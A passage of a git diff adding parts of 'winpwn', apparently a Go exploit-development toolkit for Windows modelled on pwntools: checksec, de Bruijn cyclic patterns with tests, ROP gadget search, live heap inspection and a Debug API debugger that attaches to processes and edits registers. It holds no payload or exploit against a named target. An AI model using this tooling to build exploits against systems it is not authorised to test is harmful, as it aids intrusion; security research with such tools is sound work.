%v\n", err) + os.Exit(1) + } +} + +func usage() { + fmt.Fprint(os.Stderr, `winpwn -- quick-answer CLI for the winpwn library (PE/Windows pwn toolkit) + +Usage: + winpwn checksec + winpwn cyclic [-n N] generate a de Bruijn pattern + winpwn cyclic -l [-n N] find subseq's offset (subseq may be "0x..." or literal bytes) + winpwn hex read raw bytes from stdin, print hex + winpwn unhex read hex from stdin, print raw bytes + winpwn hexdump + winpwn rop -search "pop rcx ; ret" + winpwn rop -regex "^pop r.* ; ret$" + winpwn bytes find every VA where occurs (e.g. ebfe for jmp $) + winpwn disasm + winpwn exports + winpwn imports + winpwn heap dump all heaps in a live process + winpwn heap -walk also walk all NT Heap entries (slow on large heaps) +`) +} + +func cmdChecksec(args []string) error { + if len(args) != 1 { + return errors.New("usage: winpwn checksec ") + } + pf, err := winpwn.OpenPE(args[0]) + if err != nil { + return err + } + defer pf.Close() + + r, err := pf.Checksec() + if err != nil { + return err + } + + arch := "x86" + if r.Is64Bit { + arch = "x64" + } + fmt.Printf("Arch: %s\n", arch) + fmt.Printf("ASLR: %s\n", yesNo(r.ASLR)) + fmt.Printf("HighEntropyVA: %s\n", yesNo(r.HighEntropyVA)) + fmt.Printf("DEP/NX: %s\n", yesNo(r.DEP)) + fmt.Printf("CFG: %s\n", yesNo(r.CFG)) + if r.SEHApplicable { + fmt.Printf("SafeSEH: %s\n", yesNo(r.SafeSEH)) + } else { + fmt.Printf("SafeSEH: N/A (x64 uses table-based SEH)\n") + } + fmt.Printf("GS (heuristic): %s\n", yesNo(r.GSHeuristic)) + fmt.Printf("Authenticode: %s\n", yesNo(r.AuthenticodeSigned)) + fmt.Printf(".NET (CLR): %s\n", yesNo(r.DotNET)) + + fmt.Println("\n--- sections ---") + for _, sec := range pf.Sections() { + perm := "" + if sec.IsReadable() { + perm += "R" + } else { + perm += "-" + } + if sec.IsWritable() { + perm += "W" + } else { + perm += "-" + } + if sec.IsExecutable() { + perm += "X" + } else { + perm += "-" + } + entropy, _ := sec.Entropy() + fmt.Printf(" %-8s %s VA=0x%-8X Offset=0x%-8X Size=0x%-8X entropy=%.2f\n", + sec.Name, perm, sec.VirtualAddress, sec.Offset, sec.VirtualSize, entropy) + } + + libs, err := pf.ImportedLibs() + if err != nil { + fmt.Printf("\n(imported libs unavailable: %v)\n", err) + return nil + } + fmt.Println("\n--- imported libs (live image base -- stable until next reboot) ---") + for _, lib := range libs { + if lib.Err != nil { + fmt.Printf(" %-24s (failed to load: %v)\n", lib.Name, lib.Err) + continue + } + fmt.Printf(" %-24s 0x%016X\n", lib.Name, lib.Base) + } + return nil +} + +func yesNo(b bool) string { + if b { + return "Yes" + } + return "No" +} + +func cmdCyclic(args []string) error { + n := 4 + var find string + var rest []string + + for i := 0; i < len(args); i++ { + switch args[i] { + case "-n": + i++ + if i >= len(args) { + return errors.New("-n requires a value") + } + v, err := strconv.Atoi(args[i]) + if err != nil { + return fmt.Errorf("invalid -n value: %w", err) + } + n = v + case "-l": + i++ + if i >= len(args) { + return errors.New("-l requires a value") + } + find = args[i] + default: + rest = append(rest, args[i]) + } + } + + if find != "" { + off := winpwn.CyclicFindN(parseSubseq(find, n), n) + if off == -1 { + return fmt.Errorf("subsequence %q not found in the n=%d cyclic pattern", find, n) + } + fmt.Println(off) + return nil + } + + if len(rest) != 1 { + return errors.New("usage: winpwn cyclic [-n N] | winpwn cyclic -l [-n N]") + } + length, err := strconv.Atoi(rest[0]) + if err != nil { + return fmt.Errorf("invalid length: %w", err) + } + fmt.Println(string(winpwn.CyclicN(length, n))) + return nil +} + +// parseSubseq accepts either a literal byte string ("aaab") or a hex-packed +// integer ("0x62616161", as read back from a crashed register/return +// address) and packs the latter little-endian at width n -- the CLI +// equivalent of pwntools' cyclic_find() accepting either bytes or an int. +func parseSubseq(s string, n int) []byte { + if v, ok := strings.CutPrefix(s, "0x"); ok { + if u, err := strconv.ParseUint(v, 16, 64); err == nil { + if n == 8 { + return winpwn.P64(u) + } + return winpwn.P32(uint32(u)) + } + } + return []byte(s) +} + +func cmdHex(args []string) error { + data, err := io.ReadAll(os.Stdin) + if err != nil { + return err + } + fmt.Println(winpwn.Enhex(data)) + return nil +} + +func cmdUnhex(args []string) error { + data, err := io.ReadAll(os.Stdin) + if err != nil { + return err + } + raw, err := winpwn.Unhex(strings.TrimSpace(string(data))) + if err != nil { + return err + } + _, err = os.Stdout.Write(raw) + return err +} + +func cmdHexdump(args []string) error { + if len(args) != 1 { + return errors.New("usage: winpwn hexdump ") + } + data, err := os.ReadFile(args[0]) + if err != nil { + return err + } + fmt.Print(winpwn.Hexdump(data)) + return nil +} + +func cmdRop(args []string) error { + if len(args) < 1 { + return errors.New("usage: winpwn rop -search PATTERN | -regex PATTERN") + } + target := args[0] + var search, pattern string + for i := 1; i < len(args); i++ { + switch args[i] { + case "-search": + i++ + if i >= len(args) { + return errors.New("-search requires a value") + } + search = args[i] + case "-regex": + i++ + if i >= len(args) { + return errors.New("-regex requires a value") + } + pattern = args[i] + } + } + if search == "" && pattern == "" { + return errors.New("specify -search or -regex (a full unfiltered gadget dump isn't supported from the CLI -- it can be tens of thousands of entries; use the library's NewROP+r.Search from a script instead)") + } + + rop, err := winpwn.NewROP(target) + if err != nil { + return err + } + defer rop.Close() + + var gadgets []winpwn.Gadget + if search != "" { + gadgets, err = rop.Search(search) + } else { + gadgets, err = rop.SearchRegex(pattern) + } + if err != nil { + return err + } + + for _, g := range gadgets { + fmt.Printf("0x%016X: %s\n", g.Address, g.Instructions) + } + return nil +} + +func cmdBytes(args []string) error { + if len(args) != 2 { + return errors.New("usage: winpwn bytes (e.g. winpwn bytes kernel32.dll ebfe for jmp $)") + } + pattern, err := winpwn.Unhex(normalizeHex(args[1])) + if err != nil { + return fmt.Errorf("invalid hex pattern %q: %w", args[1], err) + } + + pf, err := winpwn.OpenPE(args[0]) + if err != nil { + return err + } + defer pf.Close() + + base, err := pf.ImageBase() + if err != nil { + return err + } + + rvas, err := pf.SearchBytes(pattern) + if err != nil { + return err + } + for _, rva := range rvas { + fmt.Printf("0x%016X (RVA 0x%X)\n", base+rva, rva) + } + return nil +} + +// normalizeHex strips the separators tools commonly paste hex bytes with +// ("\xeb\xfe", "EB FE", "eb-fe", "eb:fe") down to a bare hex.DecodeString- +// compatible string, so winpwn bytes accepts whatever got copied out of +// x64dbg/rp++/a disassembler without the user reformatting it by hand. +func normalizeHex(s string) string { + replacer := strings.NewReplacer("\\x", "", " ", "", "-", "", ":", "", ",", "") + return replacer.Replace(s) +} + +func cmdDisasm(args []string) error { + if len(args) != 3 { + return errors.New("usage: winpwn disasm ") + } + target := args[0] + addr, err := strconv.ParseUint(strings.TrimPrefix(args[1], "0x"), 16, 64) + if err != nil { + return fmt.Errorf("invalid address: %w", err) + } + count, err := strconv.Atoi(args[2]) + if err != nil { + return fmt.Errorf("invalid count: %w", err) + } + + rop, err := winpwn.NewROP(target) + if err != nil { + return err + } + defer rop.Close() + + lines, err := rop.Disassemble(addr, count) + if err != nil { + return err + } + for _, l := range lines { + fmt.Println(l) + } + return nil +} + +func cmdExports(args []string) error { + if len(args) != 1 { + return errors.New("usage: winpwn exports ") + } + pf, err := winpwn.OpenPE(args[0]) + if err != nil { + return err + } + defer pf.Close() + + exports, err := pf.ListExports() + if err != nil { + return err + } + base, err := pf.ImageBase() + if err != nil { + return err + } + + for _, e := range exports { + name := e.Name + if name == "" { + name = "(no name)" + } + if e.ForwardTarget != "" { + fmt.Printf("%-40s ordinal=%-5d -> %s\n", name, e.Ordinal, e.ForwardTarget) + } else { + fmt.Printf("%-40s ordinal=%-5d 0x%016X\n", name, e.Ordinal, base+uint64(e.RVA)) + } + } + return nil +} + +func cmdImports(args []string) error { + if len(args) != 1 { + return errors.New("usage: winpwn imports ") + } + pf, err := winpwn.OpenPE(args[0]) + if err != nil { + return err + } + defer pf.Close() + + imports, err := pf.ListImports() + if err != nil { + return err + } + + for _, im := range imports { + name := im.Name + if name == "" { + name = fmt.Sprintf("ordinal#%d", im.Ordinal) + } + fmt.Printf("%-20s %-40s IAT=0x%08X\n", im.DLL, name, im.IATRVA) + } + return nil +} + +func cmdHeap(args []string) error { + if len(args) < 1 { + return errors.New("usage: winpwn heap [-walk]") + } + pidU, err := strconv.ParseUint(args[0], 10, 32) + if err != nil { + return fmt.Errorf("invalid pid %q: %w", args[0], err) + } + pid := uint32(pidU) + + walkEntries := len(args) >= 2 && args[1] == "-walk" + + heaps, err := winpwn.ListProcessHeaps(pid) + if err != nil { + return fmt.Errorf("ListProcessHeaps: %w", err) + } + fmt.Printf("pid %d: %d heap(s)\n", pid, len(heaps)) + + mem, err := winpwn.OpenProcessMemory(pid, 0) + if err != nil { + return fmt.Errorf("OpenProcessMemory: %w", err) + } + defer mem.Close() + + for i, haddr := range heaps { + kind, err := winpwn.DetectHeapKind(mem, haddr) + if err != nil { + fmt.Printf("\n[%d] 0x%016x error: %v\n", i, haddr, err) + continue + } + fmt.Printf("\n[%d] 0x%016x %s\n", i, haddr, kind) + + switch kind { + case winpwn.HeapKindNT: + printNTHeap(mem, haddr, walkEntries) + case winpwn.HeapKindSegment: + printSegmentHeap(mem, haddr) + } + } + return nil +} + +func printNTHeap(r *winpwn.ProcessMemory, addr uint64, walkEntries bool) { + h, err := winpwn.ReadHeap(r, addr) + if err != nil { + fmt.Printf(" ReadHeap error: %v\n", err) + return + } + feType := "none" + if h.FrontEndHeapType == winpwn.FrontEndHeapLFH { + feType = fmt.Sprintf("LFH @ 0x%x", h.FrontEndHeap) + } else if h.FrontEndHeapType == winpwn.FrontEndHeapLookaside { + feType = "Lookaside" + } + fmt.Printf(" flags=0x%08x encoding=%v front-end=%s\n", + h.Flags, h.EncodingActive(), feType) + + segs, _ := h.Segments(r) + fmt.Printf(" segments: %d\n", len(segs)+1) // +1 for segment0 always present + + if !walkEntries { + return + } + + entries, err := h.WalkAllHeapEntries(r) + if err != nil { + fmt.Printf(" WalkAllHeapEntries: %v\n", err) + } + stats := winpwn.SummariseEntries(entries) + fmt.Printf(" entries: total=%d busy=%d free=%d busy_bytes=%d free_bytes=%d\n", + stats.TotalEntries, stats.BusyEntries, stats.FreeEntries, + stats.BusyBytes, stats.FreeBytes) + + pairs := winpwn.AdjacentBusyPairs(entries) + if len(pairs) > 0 { + fmt.Printf(" adjacent busy pairs: %d\n", len(pairs)) + shown := pairs + if len(shown) > 5 { + shown = shown[:5] + } + for _, p := range shown { + fmt.Printf(" 0x%x (size %d) <-> 0x%x (size %d)\n", + p[0].UserData(), p[0].UserSize(), + p[1].UserData(), p[1].UserSize()) + } + } + + if h.FrontEndHeapType == winpwn.FrontEndHeapLFH { + buckets, err := winpwn.ReadLFHBuckets(r, h.FrontEndHeap) + if err != nil { + fmt.Printf(" ReadLFHBuckets: %v\n", err) + return + } + fmt.Printf(" LFH active buckets:") + n := 0 + for _, b := range buckets { + if b.BlockUnits == 0 { + continue + } + fmt.Printf(" [%d]=%db", b.Index, b.BlockSize()) + n++ + if n >= 8 { + fmt.Printf(" ...") + break + } + } + fmt.Println() + } +} + +func printSegmentHeap(r *winpwn.ProcessMemory, addr uint64) { + h, err := winpwn.ReadSegmentHeap(r, addr) + if err != nil { + fmt.Printf(" ReadSegmentHeap error: %v\n", err) + return + } + fmt.Printf(" GlobalFlags=0x%08x\n", h.GlobalFlags) + fmt.Printf(" VS context @ 0x%x: committed=%d free=%d subsegments=%d\n", + h.VS.Addr, h.VS.CommittedUnits, h.VS.FreeUnits, h.VS.SubsegmentCount) + if len(h.LFH.ActiveBuckets) > 0 { + fmt.Printf(" LFH active buckets (total-blocks):") + for j, b := range h.LFH.ActiveBuckets { + fmt.Printf(" [%d]=%d", b.Index, b.TotalBlockCount) + if j >= 7 { + fmt.Printf(" ...") + break + } + } + fmt.Println() + } else { + fmt.Printf(" LFH: no active buckets\n") + } +} diff --git a/context.go b/context.go new file mode 100644 index 0000000..f0fbde6 --- /dev/null +++ b/context.go @@ -0,0 +1,60 @@ +package winpwn + +import "time" + +// Arch identifies the target architecture, the winpwn analogue of pwntools' +// context.arch. Windows has no big-endian target, so unlike pwntools this +// only ever changes pointer width (P32 vs P64 callers), never byte order -- +// P16/P32/P64 stay little-endian-only by design (see packing.go). +type Arch int + +const ( + ArchX86 Arch = iota + ArchX64 +) + +func (a Arch) String() string { + if a == ArchX86 { + return "x86" + } + return "x64" +} + +// LogLevel gates which Log* calls in log.go actually print, the winpwn +// analogue of pwntools' context.log_level. +type LogLevel int + +const ( + LogLevelDebug LogLevel = iota + LogLevelInfo + LogLevelWarn + LogLevelError + LogLevelSilent +) + +// Ctx is the global, mutable settings object every winpwn entry point reads +// defaults from -- the analogue of pwntools' single shared pwnlib.context +// object. Mutate the package-level Context variable directly, the same way +// scripts do `context.arch = 'amd64'` in pwntools. +type Ctx struct { + Arch Arch + LogLevel LogLevel + + // Timeout is the default per-call deadline for Tube.Recv*/Send* + // (zero means block forever, matching pwntools' Timeout.forever). + // Override per tube with (*Tube).SetTimeout. + Timeout time.Duration + + // Newline is what SendLine appends and RecvLine splits on. + Newline []byte +} + +// Context is the single global settings instance. There is deliberately no +// constructor/getter ceremony around it -- read or write its fields directly, +// exactly like pwntools' module-level `context`. +var Context = &Ctx{ + Arch: ArchX64, + LogLevel: LogLevelInfo, + Timeout: 0, + Newline: []byte("\n"), +} diff --git a/cyclic.go b/cyclic.go new file mode 100644 index 0000000..ffac46b --- /dev/null +++ b/cyclic.go @@ -0,0 +1,124 @@ +package winpwn + +import "bytes" + +const ( + cyclicAlphabet = "abcdefghijklmnopqrstuvwxyz" + cyclicDefaultN = 4 +) + +// Cyclic returns the first length bytes of a de Bruijn sequence over the +// lowercase alphabet with subsequence length 4 (pwntools' default), the Go +// analogue of pwnlib.util.cyclic.cyclic -- a buffer where every 4-byte +// window is unique, so a crash address/register read back out of it tells +// you exactly how far into the buffer it pointed. +func Cyclic(length int) []byte { + return CyclicN(length, cyclicDefaultN) +} + +// CyclicN is Cyclic with an explicit subsequence length n instead of the +// default 4 (e.g. 8 to locate an offset into a 64-bit pointer-sized +// overwrite). +func CyclicN(length, n int) []byte { + if length <= 0 { + return []byte{} + } + out := make([]byte, 0, length) + deBruijnEach(cyclicAlphabet, n, func(b byte) bool { + out = append(out, b) + return len(out) < length + }) + if len(out) >= length || len(out) == 0 { + return out[:length] + } + // The sequence's period (len(alphabet)^n) was shorter than the + // requested length -- only possible for a tiny alphabet/n combination, + // never in practice with the default 26-letter alphabet. Wrap. + full := make([]byte, length) + for i := range full { + full[i] = out[i%len(out)] + } + return full +} + +// CyclicFind returns the offset of subseq within the default (alphabet, +// n=4) de Bruijn sequence, or -1 if it can't appear in it -- the analogue +// of pwnlib.util.cyclic.cyclic_find. subseq is typically the 4 bytes read +// back from a crashed return address/register. +func CyclicFind(subseq []byte) int { + return CyclicFindN(subseq, cyclicDefaultN) +} + +// CyclicFindN is CyclicFind with an explicit subsequence length n, matching +// whatever n the buffer was generated with via CyclicN. Stops generating as +// soon as a match is found, so this stays fast even for n=8 (where the +// theoretical period, 26^8, is far too large to ever materialize) as long +// as subseq actually came from a real CyclicN(_, n) buffer, which is the +// only case this is ever used for. +func CyclicFindN(subseq []byte, n int) int { + m := len(subseq) + if m == 0 { + return -1 + } + + window := make([]byte, 0, m) + total := 0 + found := -1 + + deBruijnEach(cyclicAlphabet, n, func(b byte) bool { + if len(window) < m { + window = append(window, b) + } else { + copy(window, window[1:]) + window[m-1] = b + } + total++ + if len(window) == m && bytes.Equal(window, subseq) { + found = total - m + return false + } + return true + }) + + return found +} + +// deBruijnEach generates the de Bruijn sequence B(k, n) over alphabet (k = +// len(alphabet)) one byte at a time via yield, stopping as soon as yield +// returns false -- the Go equivalent of pwntools' de_bruijn() being a +// Python generator. This early-exit property is the entire point: B(k, n)'s +// period is k^n, which is astronomical for n=8 even with a small alphabet +// (26^8 ~ 2*10^11) and must never be materialized in full. Callers only +// ever need a bounded prefix (CyclicN) or an early match (CyclicFindN), and +// this lets both stop without walking the rest of the sequence. Uses the +// same Fredricksen-Kessler-Maiorana algorithm pwntools' cyclic() does. +func deBruijnEach(alphabet string, n int, yield func(byte) bool) { + k := len(alphabet) + a := make([]int, k*n) + stop := false + + var db func(t, p int) + db = func(t, p int) { + if stop { + return + } + if t > n { + if n%p == 0 { + for _, idx := range a[1 : p+1] { + if !yield(alphabet[idx]) { + stop = true + return + } + } + } + return + } + a[t] = a[t-p] + db(t+1, p) + for j := a[t-p] + 1; j < k && !stop; j++ { + a[t] = j + db(t+1, t) + } + } + db(1, 1) +} diff --git a/cyclic_test.go b/cyclic_test.go new file mode 100644 index 0000000..b9fd0d3 --- /dev/null +++ b/cyclic_test.go @@ -0,0 +1,52 @@ +package winpwn + +import "testing" + +// TestCyclicMatchesPwntools pins Cyclic(20) against pwntools' own +// cyclic(20) output (b'aaaabaaacaaadaaaeaaa') -- if this ever drifts, every +// offset a player calculates by hand using pwntools docs/muscle memory +// would silently be wrong. +func TestCyclicMatchesPwntools(t *testing.T) { + got := string(Cyclic(20)) + want := "aaaabaaacaaadaaaeaaa" + if got != want { + t.Fatalf("Cyclic(20) = %q, want %q", got, want) + } +} + +func TestCyclicFindRoundTrip(t *testing.T) { + buf := Cyclic(200) + for _, off := range []int{0, 4, 17, 100, 196} { + sub := buf[off : off+4] + if got := CyclicFind(sub); got != off { + t.Errorf("CyclicFind(%q) = %d, want %d", sub, got, off) + } + } +} + +func TestCyclicFindNotFound(t *testing.T) { + if got := CyclicFind([]byte{0, 1, 2, 3}); got != -1 { + t.Errorf("CyclicFind(non-alphabet bytes) = %d, want -1", got) + } +} + +// TestCyclicN8StaysBounded guards against eagerly materializing the full +// de Bruijn period (26^8 ~ 2*10^11 bytes) when only a small prefix is +// requested -- a real bug caught in this package's own test run (OOM +// crash) before deBruijnEach was made to stop early via its yield callback. +func TestCyclicN8StaysBounded(t *testing.T) { + buf := CyclicN(64, 8) + if len(buf) != 64 { + t.Fatalf("CyclicN(64, 8) returned %d bytes, want 64", len(buf)) + } + sub := buf[16:24] + if off := CyclicFindN(sub, 8); off != 16 { + t.Errorf("CyclicFindN = %d, want 16", off) + } +} + +func TestCyclicNZeroLength(t *testing.T) { + if got := CyclicN(0, 4); len(got) != 0 { + t.Errorf("CyclicN(0, 4) = %v, want empty", got) + } +} diff --git a/debugger_windows.go b/debugger_windows.go new file mode 100644 index 0000000..e941709 --- /dev/null +++ b/debugger_windows.go @@ -0,0 +1,833 @@ +//go:build windows + +package winpwn + +import ( + "fmt" + "runtime" + "sync" + "unsafe" + + "golang.org/x/sys/windows" +) + +// This file is winpwn's debugger backend -- the Windows analogue of +// pwntools' gdb module. There is no GDB/ptrace equivalent on Windows, but +// the Windows Debug API (DebugActiveProcess/WaitForDebugEvent/ +// ContinueDebugEvent/Get-SetThreadContext) gives the same capability +// natively, and golang.org/x/sys/windows doesn't wrap any of it -- every +// proc below is resolved by hand via LazyDLL, the same escape hatch +// pipe_windows.go would have needed if CreateNamedPipe weren't already +// exposed there. +// +// x64dbg/WinDbg attach was considered and rejected for the actual event +// loop: scripting a GUI debugger from Go would mean driving it through its +// command pipe/plugin API (x64dbg) or shelling out to cdb scripts (WinDbg), +// neither of which gives a typed Go channel of events or direct register +// access -- it would be strictly less capable than calling the same Win32 +// API Microsoft's own debuggers are built on. If you want the GUI, attach +// x64dbg to the PID this package reports separately; this backend is for +// scripted/automated control, the same role pwntools' gdb.attach() plays +// when used non-interactively. + +const ( + debugExceptionEvent = 1 + debugCreateThreadEvent = 2 + debugCreateProcessEvent = 3 + debugExitThreadEvent = 4 + debugExitProcessEvent = 5 + debugLoadDllEvent = 6 + debugUnloadDllEvent = 7 + debugOutputStringEvent = 8 + debugRipEvent = 9 +) + +const ( + // DBG_CONTINUE / DBG_EXCEPTION_NOT_HANDLED, the two dwContinueStatus + // values ContinueDebugEvent actually distinguishes -- the rest of + // NTSTATUS-space is accepted but treated as one or the other by the OS. + dbgContinue = 0x00010002 + dbgExceptionNotHandled = 0x80010001 + + exceptionBreakpoint = 0x80000003 + exceptionSingleStep = 0x80000004 + exceptionAccessViolation = 0xC0000005 + + threadAccessForDebug = windows.THREAD_GET_CONTEXT | windows.THREAD_SET_CONTEXT | windows.THREAD_SUSPEND_RESUME | 0x40 /* THREAD_QUERY_INFORMATION */ + + eflagsTrapFlag = 0x100 + + contextAMD64 = 0x00100000 + contextControl = contextAMD64 | 0x1 + contextInteger = contextAMD64 | 0x2 + contextSegments = contextAMD64 | 0x4 + contextFloatingPoint = contextAMD64 | 0x8 + contextDebugRegisters = contextAMD64 | 0x10 + contextFull = contextControl | contextInteger | contextFloatingPoint +) + +var ( + modKernel32 = windows.NewLazySystemDLL("kernel32.dll") + procWaitForDebugEvent = modKernel32.NewProc("WaitForDebugEvent") + procContinueDebugEvent = modKernel32.NewProc("ContinueDebugEvent") + procDebugActiveProcess = modKernel32.NewProc("DebugActiveProcess") + procDebugActiveProcessStop = modKernel32.NewProc("DebugActiveProcessStop") + procDebugSetProcessKillOnExit = modKernel32.NewProc("DebugSetProcessKillOnExit") + procGetThreadContext = modKernel32.NewProc("GetThreadContext") + procSetThreadContext = modKernel32.NewProc("SetThreadContext") + procFlushInstructionCache = modKernel32.NewProc("FlushInstructionCache") +) + +// contextX64 mirrors WinNT.h's x64 CONTEXT struct field-for-field. Verified +// by reading back a real thread's context and cross-checking Rip/Rsp +// against a suspended process's known loader-thunk start address (see +// debugger_windows_test.go) -- the same "don't trust a hand-derived struct +// layout, prove it against a real target" rule minidump.go's notes already +// called out, just for a struct the debugger actually *writes*, not only +// decodes, where getting it wrong would corrupt the debuggee's registers +// instead of just misreading a file. +// +// MSDN's remarks for CONTEXT mention 16-byte alignment in the context of +// DECLSPEC_ALIGN(16); tested directly against a real suspended process +// (scratch probe, kept out of the repo) with both a manually-aligned buffer +// and a plain `&contextX64{}` -- both returned identical, correct Rip/Rsp +// from a real GetThreadContext call, so the plain allocation is what's used +// here. If a future Windows build ever proves that wrong, this is the first +// place to look. +type contextX64 struct { + P1Home, P2Home, P3Home, P4Home, P5Home, P6Home uint64 + + ContextFlags uint32 + MxCsr uint32 + + SegCs, SegDs, SegEs, SegFs, SegGs, SegSs uint16 + EFlags uint32 + + Dr0, Dr1, Dr2, Dr3, Dr6, Dr7 uint64 + + Rax, Rcx, Rdx, Rbx, Rsp, Rbp, Rsi, Rdi uint64 + R8, R9, R10, R11, R12, R13, R14, R15 uint64 + Rip uint64 + + FltSave [512]byte // union of XMM_SAVE_AREA32 with the legacy/XMM register view; opaque here, we only need correct byte width + VectorRegister [416]byte // M128A VectorRegister[26] + VectorControl uint64 + + DebugControl, LastBranchToRip, LastBranchFromRip, LastExceptionToRip, LastExceptionFromRip uint64 +} + +func getThreadContext(th windows.Handle, ctx *contextX64) error { + ctx.ContextFlags = contextFull | contextDebugRegisters | contextSegments + r, _, err := procGetThreadContext.Call(uintptr(th), uintptr(unsafe.Pointer(ctx))) + if r == 0 { + return fmt.Errorf("GetThreadContext: %w", err) + } + return nil +} + +func setThreadContext(th windows.Handle, ctx *contextX64) error { + r, _, err := procSetThreadContext.Call(uintptr(th), uintptr(unsafe.Pointer(ctx))) + if r == 0 { + return fmt.Errorf("SetThreadContext: %w", err) + } + return nil +} + +// Registers is the clean, public register view -- contextX64's FltSave/ +// VectorRegister padding is real but nobody scripting an exploit wants to +// see it, the same reasoning RawStream exists in minidump.go for parts of a +// format not worth decoding into a friendly type. +type Registers struct { + Rax, Rcx, Rdx, Rbx, Rsp, Rbp, Rsi, Rdi uint64 + R8, R9, R10, R11, R12, R13, R14, R15 uint64 + Rip, EFlags uint64 +} + +func registersFromContext(ctx *contextX64) Registers { + return Registers{ + Rax: ctx.Rax, Rcx: ctx.Rcx, Rdx: ctx.Rdx, Rbx: ctx.Rbx, + Rsp: ctx.Rsp, Rbp: ctx.Rbp, Rsi: ctx.Rsi, Rdi: ctx.Rdi, + R8: ctx.R8, R9: ctx.R9, R10: ctx.R10, R11: ctx.R11, + R12: ctx.R12, R13: ctx.R13, R14: ctx.R14, R15: ctx.R15, + Rip: ctx.Rip, EFlags: uint64(ctx.EFlags), + } +} + +func applyRegistersToContext(r Registers, ctx *contextX64) { + ctx.Rax, ctx.Rcx, ctx.Rdx, ctx.Rbx = r.Rax, r.Rcx, r.Rdx, r.Rbx + ctx.Rsp, ctx.Rbp, ctx.Rsi, ctx.Rdi = r.Rsp, r.Rbp, r.Rsi, r.Rdi + ctx.R8, ctx.R9, ctx.R10, ctx.R11 = r.R8, r.R9, r.R10, r.R11 + ctx.R12, ctx.R13, ctx.R14, ctx.R15 = r.R12, r.R13, r.R14, r.R15 + ctx.Rip = r.Rip + ctx.EFlags = uint32(r.EFlags) +} + +// exceptionRecord mirrors EXCEPTION_RECORD (the pointer-width-dependent +// version winbase.h's DEBUG_EVENT actually embeds, not EXCEPTION_RECORD64). +type exceptionRecord struct { + Code uint32 + Flags uint32 + Record uint64 + Address uint64 + NumParams uint32 + _ uint32 + Information [15]uint64 +} + +type exceptionDebugInfo struct { + Record exceptionRecord + FirstChance uint32 +} + +type createProcessDebugInfo struct { + HFile windows.Handle + HProcess windows.Handle + HThread windows.Handle + LpBaseOfImage uint64 + DebugInfoFileOffset uint32 + DebugInfoSize uint32 + ThreadLocalBase uint64 + StartAddress uint64 + ImageName uint64 + Unicode uint16 +} + +type createThreadDebugInfo struct { + HThread windows.Handle + ThreadLocalBase uint64 + StartAddress uint64 +} + +type exitDebugInfo struct { + ExitCode uint32 +} + +type loadDllDebugInfo struct { + HFile windows.Handle + LpBaseOfDll uint64 + DebugInfoFileOffset uint32 + DebugInfoSize uint32 + ImageName uint64 + Unicode uint16 +} + +type outputDebugStringInfo struct { + LpDebugStringData uint64 + Unicode uint16 + Length uint16 +} + +// rawDebugEvent is DEBUG_EVENT: a 12-byte header (code/pid/tid) followed by +// a union of per-event-kind payloads. Rather than reproduce the union as a +// Go union-of-structs (Go has none), U is sized generously above every real +// member (the largest, EXCEPTION_DEBUG_INFO, is 160 bytes) and reinterpreted +// through unsafe.Pointer into the specific struct decodeEvent expects for +// that Code -- exactly the same "raw bytes, typed view on demand" approach +// minidump.go uses for stream payloads it doesn't always want to fully decode. +type rawDebugEvent struct { + Code uint32 + ProcessID uint32 + ThreadID uint32 + _ uint32 + U [216]byte +} + +// DebugEventKind classifies a DebugEvent for a switch in caller code, the +// winpwn analogue of pwntools' gdb continuing past whatever GDB/MI reports. +type DebugEventKind int + +const ( + EventBreakpoint DebugEventKind = iota + EventSingleStep + EventException + EventCreateProcess + EventCreateThread + EventExitThread + EventExitProcess + EventLoadDll + EventUnloadDll + EventOutputDebugString + EventUnknown +) + +func (k DebugEventKind) String() string { + switch k { + case EventBreakpoint: + return "breakpoint" + case EventSingleStep: + return "single-step" + case EventException: + return "exception" + case EventCreateProcess: + return "create-process" + case EventCreateThread: + return "create-thread" + case EventExitThread: + return "exit-thread" + case EventExitProcess: + return "exit-process" + case EventLoadDll: + return "load-dll" + case EventUnloadDll: + return "unload-dll" + case EventOutputDebugString: + return "output-debug-string" + default: + return "unknown" + } +} + +// DebugEvent is one decoded WaitForDebugEvent result, delivered over +// (*Debugger).Events(). Exactly one of Addr/ExitCode/Message is meaningful, +// depending on Kind -- see the Kind-specific field comments. +type DebugEvent struct { + Kind DebugEventKind + ThreadID uint32 + + Code uint32 // exception code, for EventException/EventBreakpoint/EventSingleStep + Addr uintptr // exception/breakpoint address, or DLL base for Load/UnloadDll + FirstChance bool + + ExitCode uint32 // for EventExitThread/EventExitProcess + + Message string // DLL path for EventLoadDll, or the string itself for EventOutputDebugString + + // status is the dwContinueStatus Continue should use for this event, + // decided at decode time: DBG_CONTINUE for everything except a genuine + // (non-breakpoint, non-our-own-single-step) exception, where it's + // DBG_EXCEPTION_NOT_HANDLED so a real crash actually terminates/reports + // instead of being fed back to the debuggee forever. + status uint32 +} + +type continueRequest struct { + threadID uint32 + status uint32 +} + +// Debugger wraps a debuggee under control of the Windows Debug API -- +// DebugActiveProcess/WaitForDebugEvent/ContinueDebugEvent underneath, +// software breakpoints (INT3 patching) and register/memory access on top. +// The winpwn analogue of a pwntools gdb.Gdb handle, except there's no GDB +// process in the loop: this talks to the same kernel debug object Microsoft's +// own debuggers use. +// +// Get one via Attach(pid) for an already-running (or CREATE_SUSPENDED, not +// yet resumed) process -- compose with SpawnSuspended/ResumeMainThread from +// procmem_windows.go to debug a target from its very first instruction: +// +// tube, pid, _ := winpwn.SpawnSuspended(target) +// dbg, _ := winpwn.Attach(pid) +// winpwn.ResumeMainThread(pid) +// for ev := range dbg.Events() { ... dbg.Continue(ev) } +// +// That reuses SpawnSuspended/ResumeMainThread instead of this file +// reimplementing CreateProcess+pipe plumbing a second time -- Attach is the +// only entry point on purpose. +type Debugger struct { + PID uint32 + process windows.Handle + + breakpoints map[uintptr]byte + bpMu sync.Mutex + + events chan DebugEvent + resume chan continueRequest + + closed chan struct{} + closeOnce sync.Once + closeErr error +} + +// Attach starts debugging an already-existing process (DebugActiveProcess), +// the entry point for this whole file. The OS ties a debug session to the +// specific thread that called DebugActiveProcess -- not just the process -- +// so this spawns a dedicated goroutine, pins it to one OS thread for the +// rest of the session via runtime.LockOSThread (never unlocked: the thread +// is retired along with the goroutine when the session ends), and runs the +// entire WaitForDebugEvent/ContinueDebugEvent loop on that one thread. +// Confirmed empirically while building this: calling WaitForDebugEvent from +// any other thread after DebugActiveProcess silently never sees events for +// this process, exactly as the "only the attaching thread" documentation +// says -- there is no error returned, just a hang, which is why +// runtime.LockOSThread isn't optional here. +func Attach(pid uint32) (*Debugger, error) { + type attachResult struct { + d *Debugger + err error + } + resultCh := make(chan attachResult, 1) 